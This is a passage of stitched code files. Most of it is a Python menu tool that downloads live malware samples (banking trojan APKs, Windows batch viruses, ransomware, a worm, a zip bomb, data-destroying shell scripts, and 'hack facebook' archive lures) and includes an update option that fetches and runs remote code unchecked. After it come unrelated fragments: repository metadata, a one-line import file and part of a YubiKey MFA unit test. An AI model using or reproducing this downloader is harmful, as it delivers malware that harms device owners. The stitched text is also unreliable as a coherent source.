1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeBank.B.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'FakeBank.B.apk?raw=true' Android/FakeBank.apk") print(fun)#####done elif menu1 == 9:######done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeCMCC.A.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'FakeCMCC.A.apk?raw=true' Android/FakeCMCC.apk") print(fun)#####done elif menu1 == 10:#####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeDoc.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'FakeDoc.apk?raw=true' Android/FakeDoc.apk") print(fun)#####done elif menu1 == 11:#####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeValidation.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'FakeValidation.apk?raw=true' Android/FakeValidation.apk") print(fun)#####done elif menu1 == 12:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Fobus.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Fobus.apk?raw=true' Android/Fobus.apk") print(fun)#####done elif menu1 == 13:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/GinMaster.Z.AdvancedObfuscation.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'GinMaster.Z.AdvancedObfuscation.apk?raw=true' Android/GinMaster.apk") print(fun)#####done elif menu1 == 14:###done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Masnu.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Masnu.apk?raw=true' Android/Masnu.apk") print(fun)#####done elif menu1 == 15:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Minecraft2.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Minecraft2.apk?raw=true' Android/Elite.apk") print(fun)#####done elif menu1 == 16:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Omigo.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Omigo.apk?raw=true' Android/Omigo.apk") print(fun)#####done elif menu1 == 17:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Opfake.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Opfake.apk?raw=true' Android/Opfake.apk") print(fun)#####done elif menu1 == 18:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/SmsWorker.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'SmsWorker.apk?raw=true' Android/SmsWorker.apk") print(fun)#####done elif menu1 == 19:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Vietcon.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Vietcon.apk?raw=true' Android/Vietcon.apk") print(fun)#####done elif menu1 == 20:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/candy_corn.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'candy_corn.apk?raw=true' Android/Candycorn.apk") print(fun)#####done elif menu1 == 21:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/cat.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'cat.apk?raw=true' Android/Cat.apk") print(fun)#####done elif menu1 == 22:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/chistescortos.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'chistescortos.apk?raw=true' Android/Chistescortos.apk") print(fun)#####done elif menu1 == 23:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/chistespicanticos.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'chistespicanticos.apk?raw=true' Android/Chistespicanticos.apk") print(fun)#####done elif menu1 == 24:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.funnyys.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.funnyys.apk?raw=true' Android/ComFunnys.apk") print(fun)#####done elif menu1 == 25:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.imagepets.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.imagepets.apk?raw=true' Android/ComImagePets.apk") print(fun)#####done elif menu1 == 26:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.kitchenn.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.kitchenn.apk?raw=true' Android/ComKitchen.apk") print(fun)#####done elif menu1 == 27:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.laughtter.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.laughtter.apk?raw=true' Android/ComLaughtter.apk") print(fun)#####done elif menu1 == 28:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.prasesamor.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.prasesamor.apk?raw=true' Android/Prasesamor.apk") print(fun)#####done elif menu1 == 29:#####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.prasesfee.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.prasesfee.apk?raw=true' Android/Prasesfee.apk") print(fun)#####done elif menu1 == 30:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.recipesmart.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.recipesmart.apk?raw=true' Android/Recipesmart.apk") print(fun)#####done elif menu1 == 31:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.romaticpos.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.romaticpos.apk?raw=true' Android/Romaticpos.apk") print(fun)#####done elif menu1 == 32:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.statetss.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.statetss.apk?raw=true' Android/Statetss.apk") print(fun)#####done elif menu1 == 33:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.thinkking.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'com.thinkking.apk?raw=true' Android/Thinkking.apk") print(fun)#####done elif menu1 == 34:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/crd.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'crd.apk?raw=true' Android/Crd.apk") print(fun)#####done elif menu1 == 35:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/dendroid.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'dendroid.apk?raw=true' Android/Dendroid.apk") print(fun)#####done elif menu1 == 36:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ds.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'ds.apk?raw=true' Android/Ds.apk") print(fun)#####done elif menu1 == 37:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/facebook.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'facebook.apk?raw=true' Android/Facebook.apk") print(fun)#####done elif menu1 == 38:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Fake_av.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Fake_av.apk?raw=true' Android/Fakeav.apk") print(fun)#####done elif menu1 == 39:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ArtStation.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'ArtStation.apk?raw=true' Android/ArtStation.apk") print(fun)#####done elif menu1 == 40:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Adware.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Adware.apk?raw=true' Android/MusicPlayerAdware.apk") print(fun)#####done elif menu1 == 41:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Settings.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Settings.apk?raw=true' Android/Settings.apk") print(fun)#####done elif menu1 == 42:####done print("\n") menu() else: print(""+R+"[!] wrong number") except Exception: print(""+R+"[!] This is not number") #################ANDROID DONE #################Start Macosx def Vmacosx(): print(""+O+"["+R+"1"+O+"] Trinoids") print(""+O+"["+R+"2"+O+"] Nothing") print(""+O+"["+R+"3"+O+"] Back") try: menu2 = input("Input number > "+R+"") if menu2 == 1: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/trinoids.app?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'trinoids.app?raw=true' Macosx/Trinoids.app") print(fun)#####done elif menu2 == 2: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/nothing.app?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'nothing.app?raw=true' Macosx/Nothing.app") print(fun)#####done elif menu2 == 3: print("\n") menu() else: print(""+R+"[!] wrong number") except Exception: print(""+R+"[!] This is not number") ####################Done Macosx ###################Start PC def vpcwin(): print(""+O+"["+R+"1"+O+"] Ugly.bat\t\t["+R+"5"+O+"] Koce.bat\t\t["+R+"9"+O+"] Ransomeware") print(""+O+"["+R+"2"+O+"] Sleepy.bat\t\t["+R+"6"+O+"] Cmd.bat\t\t["+R+"10"+O+"] Rip.bat") print(""+O+"["+R+"3"+O+"] Reg-eater.bat\t["+R+"7"+O+"] Capslock.vbs\t["+R+"11"+O+"] Back") print(""+O+"["+R+"4"+O+"] Kuis.bat\t\t["+R+"8"+O+"] Alay.vbs") try: menu3 = input("Input number > "+R+"") if menu3 == 1: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ugly.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'ugly.bat?raw=true' Windows/Ugly.bat") print(fun)#####done elif menu3 == 2: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/sleepy.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'sleepy.bat?raw=true' Windows/Sleepy.bat") print(fun)#####done elif menu3 == 3: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/reg-eater.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'reg-eater.bat?raw=true' Windows/Reg-eater.bat") print(fun)#####done elif menu3 == 4: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/kuis.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'kuis.bat?raw=true' Windows/Kuis.bat") print(fun)#####done elif menu3 == 5: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/koce.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'koce.bat?raw=true' Windows/Koce.bat") print(fun)#####done elif menu3 == 6: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/cmd.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'cmd.bat?raw=true' Windows/Cmd.bat") print(fun)#####done elif menu3 == 7: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/capslock.vbs?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'capslock.vbs?raw=true' Windows/Capslock.vbs") print(fun)#####done elif menu3 == 8: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/alay.vbs?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'alay.vbs?raw=true' Windows/Alay.vbs") print(fun)#####done elif menu3 == 9: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ransomeware.exe?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'ransomeware.exe?raw=true' Windows/RansomewareFileDecryptor.exe") print(fun)#####done elif menu3 == 10: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/RIP.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'RIP.bat?raw=true' Windows/RIP.bat") print(fun)#####done elif menu3 == 11: print("\n") menu() else: print(""+R+"[!] wrong number") except Exception: print(""+R+"[!] This is not number") #######################Done PC ####################start PDF def Vpdfautorunpc(): print(""+O+"["+R+"1"+O+"] How to hack facebook (ext: rar)") print(""+O+"["+R+"2"+O+"] Hack facebook (ext: rar)") print(""+O+"["+R+"3"+O+"] Back") try: menu4 = input("Input Number >"+R+" ") if menu4 == 1: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/howtohackfb.rar?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'howtohackfb.rar?raw=true' Pdf-autorun-windows/How-to-hack-facebook.rar") print(fun)#####done print("password: cracker\n") elif menu4 == 2: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/hackfacebook.rar?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'hackfacebook.rar?raw=true' Pdf-autorun-windows/Hack-facebook.rar") print(fun)#####done print("password: cracker\n") elif menu4 == 3: print("\n") menu() else: print(""+R+"[!] Wrong number") except NameError: print(""+R+"[!] This is not number") except Exception as err: print(""+R+"[!] This is not number") ######################Done pdf ############Worm and Bomb zip def Vother(): print(""+O+"["+R+"1"+O+"] Worm.bat") print(""+O+"["+R+"2"+O+"] Bomb.zip") print(""+O+"["+R+"3"+O+"] Back") try: menu5 = input("Input number > "+R+"") if menu5 == 1: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/worm.bat?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'worm.bat?raw=true' Worm-and-Bombzip/worm.bat") print(fun)#####done elif menu5 == 2: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/bom-zip.zip?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'bom-zip.zip?raw=true' Worm-and-Bombzip/Bomb.zip") print(fun)#####done elif menu5 == 3: print("\n") menu() else: print(""+R+"[!] wrong number") except Exception: print(""+R+"[!] This is not number") ###############Start Shell Virus def Shellvirus(): print(""+O+"["+R+"1"+O+"] Data-Eater.sh") print(""+O+"["+R+"2"+O+"] Bootloop.sh") print(""+O+"["+R+"3"+O+"] Back") try: menu6 = input("Input number > "+R+"") if menu6 == 1: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/data-eater.sh?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'data-eater.sh?raw=true' Shell-virus/Data-Eater.sh") print(fun)#####done elif menu6 == 2: print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/bootloop.sh?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'bootloop.sh?raw=true' Shell-virus/Bootloop.sh") print(fun)#####done elif menu6 == 3: print("\n") menu() else: print(""+R+"[!] wrong number") except Exception: print(""+R+"[!] This is not number") def banner2(): print(""+G+"Please do"+R+" NOT "+G+"use this tool for illegal activity") print(""+R+"[!] "+G+"Keep legal don't illegal "+R+" [!]"+O+"") def menu(): print("\n"+R+"[========== Menu ==========]"+O+"") print(""+O+"["+R+"1"+O+"] Android\t\t["+R+"4"+O+"] Pdf Autorun PC\t\t["+R+"7"+O+"] Update tool") print(""+O+"["+R+"2"+O+"] Macosx\t\t["+R+"5"+O+"] Other\t\t\t["+R+"8"+O+"] About") print(""+O+"["+R+"3"+O+"] Windows\t\t["+R+"6"+O+"] Shell\t\t\t["+R+"9"+O+"] Exit") try: menu = input("\nInput Number > "+R+"") if menu == 1: os.system("clear") Vandroid() elif menu == 2: os.system("clear") Vmacosx() elif menu == 3: os.system("clear") vpcwin() elif menu == 4: os.system("clear") Vpdfautorunpc() elif menu == 5: os.system("clear") Vother() elif menu == 6: os.system("clear") Shellvirus() elif menu == 7: os.system("clear") print(""+G+"") chunk_size = 1024 url = 'https://github.com/Hider5/Malicious/blob/master/malicious.py?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'malicious.py?raw=true' malicious.py") os.system("python2 malicious.py") elif menu == 8: os.system("clear") about() elif menu == 9: fontcolor() os.system("clear") sys.exit() else: print(""+R+"[!] wrong number") except Exception: print(""+R+"[!] This is not number") if __name__ == "__main__": os.system("clear") banner() banner2() menu() fontcolor() sys.exit()

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174

0.613001

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0

null

0

1

0

null

0

6

d4eec91b3fd8c0fdc4e547c1ec606dbb58c48209

43

py

Python

chopro/utils.py

nomike/pychopro

75632ed9666a1760bf83a55b4215b94ae3ba4fae

[ "MIT" ]

10

2017-02-10T07:31:19.000Z

2020-01-23T19:13:44.000Z

chopro/utils.py

nomike/pychopro

75632ed9666a1760bf83a55b4215b94ae3ba4fae

[ "MIT" ]

2

2017-02-12T12:18:11.000Z

2019-11-03T14:04:27.000Z

chopro/utils.py

nomike/pychopro

75632ed9666a1760bf83a55b4215b94ae3ba4fae

[ "MIT" ]

7

2017-02-12T09:01:09.000Z

2021-06-05T16:42:28.000Z

from chopro.chopro2html import chopro2html

21.5

42

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5

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0

1

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6

d4fb31dfd36788ff80f58d4876fd688387455d03

2,416

py

Python

tests/test_yubico/test_mfa.py

TomVollerthun1337/logsmith

f2ecab4dea295d5493a9a3e77a2837b13fa139e5

[ "Apache-2.0" ]

19

2020-01-18T00:25:43.000Z

2022-03-14T07:39:08.000Z

tests/test_yubico/test_mfa.py

TomVollerthun1337/logsmith

f2ecab4dea295d5493a9a3e77a2837b13fa139e5

[ "Apache-2.0" ]

85

2020-01-21T12:13:56.000Z

2022-03-31T04:01:03.000Z

tests/test_yubico/test_mfa.py

TomVollerthun1337/logsmith

f2ecab4dea295d5493a9a3e77a2837b13fa139e5

[ "Apache-2.0" ]

2

2020-06-25T06:15:19.000Z

2021-02-15T18:17:38.000Z

from unittest import TestCase, mock from unittest.mock import Mock, call from app.yubico import mfa def shell(command): if command == 'success_command': return True return False class TestStart(TestCase): @mock.patch('app.yubico.mfa.shell') def test_fetch_mfa_token_from_shell__command_failes(self, m_shell): m_shell.run = Mock() m_shell.run.side_effect = shell self.assertEqual(None, mfa.fetch_mfa_token_from_shell('fail_command')) expected = [call('fail_command')] self.assertEqual(expected, m_shell.run.mock_calls) @mock.patch('app.yubico.mfa.shell') def test_fetch_mfa_token_from_shell(self, m_shell): m_shell.run = Mock() m_shell.run.return_value = '123456' self.assertEqual('123456', mfa.fetch_mfa_token_from_shell('success_command')) expected = [call('success_command')] self.assertEqual(expected, m_shell.run.mock_calls) @mock.patch('app.yubico.mfa.shell') def test_fetch_mfa_token_from_shell__command_succeedes_but_None_instead_of_token(self, m_shell): m_shell.run = Mock() m_shell.run.return_value = None self.assertEqual(None, mfa.fetch_mfa_token_from_shell('success_command')) expected = [call('success_command')] self.assertEqual(expected, m_shell.run.mock_calls) @mock.patch('app.yubico.mfa.shell') def 